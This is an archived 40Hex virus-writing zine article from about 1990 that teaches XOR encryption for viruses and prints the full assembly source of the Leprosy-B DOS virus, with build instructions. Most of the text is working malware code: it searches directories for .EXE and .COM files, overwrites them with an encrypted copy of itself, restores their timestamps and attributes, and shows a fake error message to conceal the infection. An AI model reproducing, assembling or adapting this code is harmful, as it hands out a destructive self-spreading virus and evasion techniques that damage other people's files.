home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_1.004 < prev    next >
Text File  |  1995-01-03  |  15KB  |  281 lines

  1. 40H Vmag Issue 1 Volume 1                                               00004
  2.  
  3.                      - SIMPLE ENCRYPTION METHODS -
  4.  
  5.  
  6.     Encryption is perhaps one of the key parts of writing a virus.  If you
  7. have a virus that prints a message to the screen, you don't want infected
  8. files to contain that message.
  9.  
  10.     One easy way to encrypt data is the XOR method.  XOR is a matamatical
  11. function that can be used to cifer and decifer data with the same key.
  12.  
  13. Example --
  14.  
  15.               FF  xor  A1  =  5E
  16. byte to encrypt^       ^key   ^result
  17.  
  18. and likewise
  19.  
  20.               5E  xor  A1  =  FF
  21.  
  22. So as you can see an easy way to encrypt/decrypt sensitve data is with the
  23. XOR function.
  24.  
  25. A popular virus that demonstrates this teqnique is Leprosy-B.  By studing the
  26. below example you are on the way to make simple encrypted viruses.
  27.  
  28. ------------------------------------------------------------------------------
  29.  
  30. ;  <LEPROSYB.ASM>   -   Leprosy-B Virus Source
  31. ;                       Copy-ya-right (c) 1990 by PCM2.
  32. ;
  33. ;  This file is the source code to the Leprosy-B virus.  It should
  34. ;  be assembled with an MASM-compatible assembler; it has been tested
  35. ;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  36. ;  It should be made into a .COM file before executing, with either
  37. ;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  38. ;
  39. ;  This program has the potential to permanently destroy executable
  40. ;  images on any disk medium.  Other modifications may have been made
  41. ;  subsequent to the original release by the author, either benign,
  42. ;  or which could result in further harm should this program be run.
  43. ;  In any case, the author assumes no responsibility for any damage
  44. ;  caused by this program, incidental or otherwise.  As a precaution,
  45. ;  this program should not be turned over to irresponsible hands...
  46. ;  (unlike people like us, that is).
  47.  
  48.  
  49.                 title   "Leprosy-B Virus by PCM2, August 1990"
  50.  
  51. cr              equ     13              ;  Carriage return ASCII code
  52. lf              equ     10              ;  Linefeed ASCII code
  53. tab             equ     9               ;  Tab ASCII code
  54. virus_size      equ     666             ;  Size of the virus file
  55. code_start      equ     100h            ;  Address right after PSP in memory
  56. dta             equ     80h             ;  Addr of default disk transfer area
  57. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  58. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  59. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  60. attribute       equ     21              ;  Offset in DTA of file attribute
  61.  
  62.  
  63.         code    segment 'code'          ;  Open code segment
  64.         assume  cs:code,ds:code         ;  One segment for both code & data
  65.                 org     code_start      ;  Start code image after PSP
  66.  
  67. ;---------------------------------------------------------------------
  68. ;  All executable code is contained in boundaries of procedure "main".
  69. ;  The following code, until the start of "virus_code", is the non-
  70. ;  encrypted CMT portion of the code to load up the real program.
  71. ;---------------------------------------------------------------------
  72. main    proc    near                    ;  Code execution begins here
  73.         call    encrypt_decrypt         ;  Decrypt the real virus code
  74.         jmp     random_mutation         ;  Put the virus into action
  75.  
  76. encrypt_val     db      00h             ;  Hold value to encrypt by here
  77.  
  78. ; ----------  Encrypt, save, and restore the virus code  -----------
  79. infect_file:
  80.         mov     bx,handle               ;  Get the handle
  81.         push    bx                      ;  Save it on the stack
  82.         call    encrypt_decrypt         ;  Encrypt most of the code
  83.         pop     bx                      ;  Get back the handle
  84.         mov     cx,virus_size           ;  Total number of bytes to write
  85.         mov     dx,code_start           ;  Buffer where code starts in memory
  86.         mov     ah,40h                  ;  DOS write-to-handle service
  87.         int     21h                     ;  Write the virus code into the file
  88.         call    encrypt_decrypt         ;  Restore the code as it was
  89.         ret                             ;  Go back to where you came from
  90.  
  91. ; ---------------  Encrypt or decrypt the virus code  ----------------
  92. encrypt_decrypt:
  93.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  94. xor_loop:                               ;  Start cycle here
  95.         mov     ah,[bx]                 ;  Get the current byte
  96.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  97.         mov     [bx],ah                 ;  Put it back where we got it
  98.         inc     bx                      ;  Move BX ahead a byte
  99.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  100.         jle     xor_loop                ;  If not, do another cycle
  101.         ret                             ;  and go back where we came from
  102.  
  103. ;-----------------------------------------------------------------------
  104. ;   The rest of the code from here on remains encrypted until run-time,
  105. ;   using a fundamental XOR technique that changes via CMT.
  106. ;-----------------------------------------------------------------------
  107. virus_code:
  108.  
  109. ;----------------------------------------------------------------------------
  110. ;  All strings are kept here in the file, and automatically encrypted.
  111. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  112. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  113. ;  changes, even when the strings stay the same.
  114. ;----------------------------------------------------------------------------
  115. exe_filespec    db      "*.EXE",0
  116. com_filespec    db      "*.COM",0
  117. newdir          db      "..",0
  118. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  119. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  120. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  121. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  122. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  123. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  124. files_found     db      ?
  125. files_infected  db      ?
  126. orig_time       dw      ?
  127. orig_date       dw      ?
  128. orig_attr       dw      ?
  129. handle          dw      ?
  130. success         db      ?
  131.  
  132. random_mutation:                        ; First decide if virus is to mutate
  133.         mov     ah,2ch                  ; Set up DOS function to get time
  134.         int     21h
  135.         cmp     encrypt_val,0           ; Is this a first-run virus copy?
  136.         je      install_val             ; If so, install whatever you get.
  137.         cmp     dh,15                   ; Is it less than 16 seconds?
  138.         jg      find_extension          ; If not, don't mutate this time
  139. install_val:
  140.         cmp     dl,0                    ; Will we be encrypting using zero?
  141.         je      random_mutation         ; If so, get a new value.
  142.         mov     encrypt_val,dl          ; Otherwise, save the new value
  143. find_extension:                         ; Locate file w/ valid extension
  144.         mov     files_found,0           ; Count infected files found
  145.         mov     files_infected,4        ; BX counts file infected so far
  146.         mov     success,0
  147. find_exe:
  148.         mov     cx,00100111b            ; Look for all flat file attributes
  149.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  150.         mov     ah,4eh                  ; Call DOS find first service
  151.         int     21h
  152.         cmp     ax,12h                  ; Are no files found?
  153.         je      find_com                ; If not, nothing more to do
  154.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  155. find_com:
  156.         mov     cx,00100111b            ; Look for all flat file attributes
  157.         mov     dx,offset com_filespec  ; Check for .COM extension now
  158.         mov     ah,4eh                  ; Call DOS find first service
  159.         int     21h
  160.         cmp     ax,12h                  ; Are no files found?
  161.         je      chdir                   ; If not, step back a directory
  162.         call    find_healthy            ; Otherwise, try to find healthy .COM
  163. chdir:                                  ; Routine to step back one level
  164.         mov     dx,offset newdir        ; Load DX with address of pathname
  165.         mov     ah,3bh                  ; Change directory DOS service
  166.         int     21h
  167.         dec     files_infected          ; This counts as infecting a file
  168.         jnz     find_exe                ; If we're still rolling, find another
  169.         jmp     exit_virus              ; Otherwise let's pack it up
  170. find_healthy:
  171.         mov     bx,dta                  ; Point BX to address of DTA
  172.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  173.         mov     orig_attr,ax            ; Save it
  174.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  175.         mov     orig_time,ax            ; Save it
  176.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  177.         mov     orig_date,ax            ; Save it
  178.         mov     dx,dta+filename         ; Get the filename to change attribute
  179.         mov     cx,0                    ; Clear all attribute bytes
  180.         mov     al,1                    ; Set attribute sub-function
  181.         mov     ah,43h                  ; Call DOS service to do it
  182.         int     21h
  183.         mov     al,2                    ; Set up to open handle for read/write
  184.         mov     ah,3dh                  ; Open file handle DOS service
  185.         int     21h
  186.         mov     handle,ax               ; Save the file handle
  187.         mov     bx,ax                   ; Transfer the handle to BX for read
  188.         mov     cx,20                   ; Read in the top 20 bytes of file
  189.         mov     dx,offset compare_buf   ; Use the small buffer up top
  190.         mov     ah,3fh                  ; DOS read-from-handle service
  191.         int     21h
  192.         mov     bx,offset compare_buf   ; Adjust the encryption value
  193.         mov     ah,encrypt_val          ; for accurate comparison
  194.         mov     [bx+6],ah
  195.         mov     si,code_start           ; One array to compare is this file
  196.         mov     di,offset compare_buf   ; The other array is the buffer
  197.         mov     ax,ds                   ; Transfer the DS register...
  198.         mov     es,ax                   ; ...to the ES register
  199.         cld
  200.         repe    cmpsb                   ; Compare the buffer to the virus
  201.         jne     healthy                 ; If different, the file is healthy!
  202.         call    close_file              ; Close it up otherwise
  203.         inc     files_found             ; Chalk up another fucked up file
  204. continue_search:
  205.         mov     ah,4fh                  ; Find next DOS function
  206.         int     21h                     ; Try to find another same type file
  207.         cmp     ax,12h                  ; Are there any more files?
  208.         je      no_more_found           ; If not, get outta here
  209.         jmp     find_healthy            ; If so, try the process on this one!
  210. no_more_found:
  211.         ret                             ; Go back to where we came from
  212. healthy:
  213.         mov     bx,handle               ; Get the file handle
  214.         mov     ah,3eh                  ; Close it for now
  215.         int     21h
  216.         mov     ah,3dh                  ; Open it again, to reset it
  217.         mov     dx,dta+filename
  218.         mov     al,2
  219.         int     21h
  220.         mov     handle,ax               ; Save the handle again
  221.         call    infect_file             ; Infect the healthy file
  222.         call    close_file              ; Close down this operation
  223.         inc     success                 ; Indicate we did something this time
  224.         dec     files_infected          ; Scratch off another file on agenda
  225.         jz      exit_virus              ; If we're through, terminate
  226.         jmp     continue_search         ; Otherwise, try another
  227.         ret
  228. close_file:
  229.         mov     bx,handle               ; Get the file handle off the stack
  230.         mov     cx,orig_time            ; Get the date stamp
  231.         mov     dx,orig_date            ; Get the time stamp
  232.         mov     al,1                    ; Set file date/time sub-service
  233.         mov     ah,57h                  ; Get/Set file date and time service
  234.         int     21h                     ; Call DOS
  235.         mov     bx,handle
  236.         mov     ah,3eh                  ; Close handle DOS service
  237.         int     21h
  238.         mov     cx,orig_attr            ; Get the file's original attribute
  239.         mov     al,1                    ; Instruct DOS to put it back there
  240.         mov     dx,dta+filename         ; Feed it the filename
  241.         mov     ah,43h                  ; Call DOS
  242.         int     21h
  243.         ret
  244. exit_virus:
  245.         cmp     files_found,6           ; Are at least 6 files infected?
  246.         jl      print_fake              ; If not, keep a low profile
  247.         cmp     success,0               ; Did we infect anything?
  248.         jg      print_fake              ; If so, cover it up
  249.         mov     ah,09h                  ; Use DOS print string service
  250.         mov     dx,offset virus_msg1    ; Load the address of the first line
  251.         int     21h                     ; Print it
  252.         mov     dx,offset virus_msg2    ; Load the second line
  253.         int     21h                     ; (etc)
  254.         mov     dx,offset virus_msg3
  255.         int     21h
  256.         mov     dx,offset virus_msg4
  257.         int     21h
  258.         jmp     terminate
  259. print_fake:
  260.         mov     ah,09h                  ; Use DOS to print fake error message
  261.         mov     dx,offset fake_msg
  262.         int     21h
  263. terminate:
  264.         mov     ah,4ch                  ; DOS terminate process function
  265.         int     21h                     ; Call DOS to get out of this program
  266.  
  267. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  268.  
  269. main    endp
  270. code    ends
  271.         end     main
  272.  
  273. ------------------------------------------------------------------------------
  274.  
  275. While the virus is no great wonder the simple encryption method is what is
  276. used by almost all viruses.
  277.  
  278.                                                                           HR
  279.  
  280. Downloaded From P-80 International Information Systems 304-744-2253
  281.